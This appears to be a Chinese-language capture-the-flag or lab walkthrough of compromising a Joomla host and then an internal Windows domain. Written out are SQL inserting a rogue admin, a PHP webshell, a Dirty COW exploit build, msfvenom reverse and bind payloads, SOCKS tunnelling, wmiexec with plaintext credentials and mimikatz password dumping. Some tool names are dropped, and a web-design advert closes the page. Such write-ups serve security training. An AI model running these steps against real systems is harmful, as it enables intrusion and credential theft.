0x01 环境配置
这就涉及到nignx的反向代理了。请参考其他的拓扑图。
不要更改虚拟机的配置。将其设置为仅主机,并将子网IP设置为192.168.93.0。然后将五个虚拟机全部打开并进入。因为它们是桥接的,所以您需要获取IP地址。
service network restart #重启网络
ip addr #查看获取到的ip地址
您得到的不一定是问题中的 192.168.1.110 。如果想设置为192.168.1.110,可以修改。
/etc/sysconfig/network-script/ifcfg-eth0
设置为静态IP然后重启网络
请记住拍摄所有虚拟机的快照
0x02
当您访问192.168.1.110时,您可以看到标题上突出的图标。当然,你也可以通过插件来查看。
使用Scan查看是否存在漏洞
可以看到版本是3.9.12。没有扫描出任何已知的漏洞,但实际上扫描出了一个配置文件。
http://192.168.1.110/configuration.php~
这里最容易泄露的信息就是数据库账号和密码。
通过nmap扫描192.168.1.110,发现22、80、3306三个端口开放。尝试连接到数据库。
可以看到连接成功。进入后找到数据库(一共有两个),然后找到里面有前缀位的用户表。
可以看到密码是加密的。加密方式是我今天面试才遇到的,但是密码好像是不可逆的,安全性相当高,所以无法解密,所以就想到了在数据库中添加一个用户。
首先需要创建一个密码,这里使用的库
import bcrypt
password = b"123456"
hashed = bcrypt.hashpw(password, bcrypt.gensalt(10))
print(hashed)
#$2b$10$g2.alv85d1JGbwlh9fzCsOGi6VC0D9YHRD5xx6/uZzAVWiQ42uCkq
我查了官方文档,找到了创建新用户的语句。
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
当然你需要自己修改一下语句
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`,`registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator','admin','$2b$10$g2.alv85d1JGbwlh9fzCsOGi6VC0D9YHRD5xx6/uZzAVWiQ42uCkq', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
通过模板写好shell插入语句后,就可以通过admin登录了:
-> ->
进入后,你会看到两个模板。我选择上面的一个,并在此模板中创建一个新的 php 文件来编写 shell。
访问路径192.168.1.110//beez3/shell.php,使用蚁剑连接
连接成功但是发现命令无法执行。好像这个功能被禁用了。用于查看
确认执行系统命令的功能已关闭,并且使用了ass脚本。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
上传php等
命令可以执行,但是权限很低。我查看/home,发现有用户yy。我查看了历史命令,发现权限不够。尝试升级suid权限不起作用。
检查网卡
我发现这个IP是的,我查了资料,说是nginx反向代理(这个我现在不太明白……以后再学习……明白了再改)
最后在tmp目录下找到了信息。 (说实话,进去看了一眼,没注意……然后就退出了,后来看了大师的文章才发现)
看到这个命令应该是添加用户的,尝试用这个命令登录
登录成功。检查内核是否为2.6.32。看到这个第一个想到的就是脏牛。上传 Dirty Cow 的 exp 并编译它。
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty
这样就成功了,然后使用:root登录
可以看到你已经拥有root权限了。接下来就是登录msf,渗透内网了。
0x03 内网穿透
使用msf生成linux木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=<ip> lport=<port> -f elf -o isshell
这个模块在这里仍然不能使用,但是我已经获得了root权限并安装了一个nmap来扫描内部网络。
nmap 192.168.93.1/24
我扫描了192.168.93.10、192.168.93.20、192.168.93.30。我用msf试了一下,没有MS17-010...(无奈看了一下大师的wp,结果发现还是看不懂...这个smb。我真的没遇到过任何人接触过ntlm,甚至是第一次遇到,所以以下只能算是转载)
通过nmap扫描可以知道192.168.93.20开放了1433端口。尝试使用mysql密码登录,使用/admin/mssql/s模块。
use auxiliary/admin/mssql/mssql_enum_sql_logins
set rhost 192.168.93.20
set username testuser
set password cvcvgjASD!@
可以连接成功
上面下载的脚本在网上搭建起来不太好,网上也没有复现成功。等我学清楚了再尝试。
我们来整理一下遇到的几个问题。首先,版本不对。它附带2.6.6,需要2.7或更高版本。升级后可以收到hash,但是smb中继的第二步没有显示echo。提示安装less库
最后只能用爆破。
首先使用//smb/模块爆破出密码
接下来就是如何登录了,我看到有人直接使用//smb/模块登录,但是这里一直报错。首先使用ew创建反向代理。
./ew_for_linux64 -s rcsocks -l 60003 -e 60002 #kali上执行
./ew_for_linux64 -s rssocks -d 192.168.1.4 -e 60002 #centos上执行
使用,修改配置文件,然后启动msf,即可使用
//smb/ 模块,但很快就会被删除。这次我尝试了另一种方法,通过阅读其他大师的文章找到了工具包。
https://github.com/SecureAuthCorp/impacket
使用里面的.py。下载后需要拖入文件夹中,否则会报缺少模块的错误。然后将库安装在.txt中就可以使用了。
proxychains python wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
下一步是上传msf木马并生成转发shell。
msfvenom -p windows/meterpreter/bind_tcp LHOST=<ip> LPORT=<port> -f exe > shell32.exe
使用上传文件,然后使用.py执行
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > pass.txt
因为.py不返回交互式shell,所以只能在没有交互式方法的情况下完成。
我抓到了域控的密码。通过/all可以发现域控IP为192.168.93.10。
或者使用.py执行命令
dir c:\flag.txt /b /s
type c:\Users\Administrator\Documents\flag.txt
使用类型读取文件
0x04 摘要
1.win7和2008一启动就蓝屏了,重启之后mimikatz抓不到密码,只能先用网上wp找到密码登录一下才行
2.Responder在centos上不是很好搭建
3.impacket工具包很好用,之后试着把里面的工具都整理一下,但是smbclient,有时候需要在前面加工作组或者域,有时候也不需要
拿2008举例
proxychains smbclient //192.168.93.20/C$ -U administrator
proxychains smbclient //192.168.93.20/C$ -U WIN2008\\administrator
过去推荐的
扫一扫在手机端查看
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。